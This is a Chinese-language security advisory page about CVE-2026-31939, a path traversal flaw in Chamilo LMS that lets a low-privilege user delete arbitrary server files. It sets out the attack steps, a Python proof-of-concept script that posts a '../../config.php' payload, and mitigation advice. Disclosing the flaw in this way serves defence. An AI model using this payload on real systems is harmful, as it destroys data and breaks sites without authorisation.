IPBUF安全漏洞报告
English
CVE-2026-31939 CVSS 8.3 高危

CVE-2026-31939 Chamilo LMS路径遍历致任意文件删除

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-31939
漏洞类型
路径遍历
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Chamilo LMS

相关标签

路径遍历任意文件删除Chamilo LMSCVE-2026-31939

漏洞概述

Chamilo LMS在1.11.38之前的版本中存在路径遍历漏洞。由于`main/exercise/savescores.php`文件未对用户输入的`$_REQUEST['test']`参数进行充分的规范化或遍历检查,攻击者可利用该漏洞构造恶意路径,导致服务器上的任意文件被删除。

技术细节

该漏洞源于不安全的文件路径处理。在受影响版本的Chamilo LMS中,`main/exercise/savescores.php`脚本直接接收用户提供的`test`参数,并将其拼接到文件系统路径中。程序未对输入数据进行路径规范化处理(如解析`../`),也未实施目录访问限制。这使得经过身份验证的低权限用户可以通过特制的HTTP请求,利用路径遍历序列(如`..\`或`../`)跳出预期目录,访问并删除服务器上的任意文件,从而破坏系统完整性和可用性。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者需要获取Chamilo LMS的一个低权限用户账号。
STEP 2
步骤2:发送恶意请求
攻击者向`main/exercise/savescores.php`发送POST请求,并在`test`参数中注入路径遍历字符(如`../`)以指向目标文件。
STEP 3
步骤3:执行删除操作
服务器处理请求,将攻击者提供的路径直接用于文件操作,导致目标文件被删除。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url, file_to_delete): """ PoC for CVE-2026-31939: Arbitrary File Deletion via Path Traversal """ url = f"{target_url}/main/exercise/savescores.php" # Using path traversal to delete a target file payload = { "test": f"../../{file_to_delete}" } try: response = requests.post(url, data=payload) if response.status_code == 200: print(f"[+] Request sent to delete {file_to_delete}") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://localhost/chamilo" filename = "config.php" exploit(target, filename)

影响范围

Chamilo LMS < 1.11.38

防御指南

临时缓解措施
建议立即部署官方补丁进行修复。若暂时无法升级,可通过配置Web应用防火墙(WAF)规则,拦截包含`../`或绝对路径特征的请求,或限制对`main/exercise/savescores.php`的访问权限作为临时缓解措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表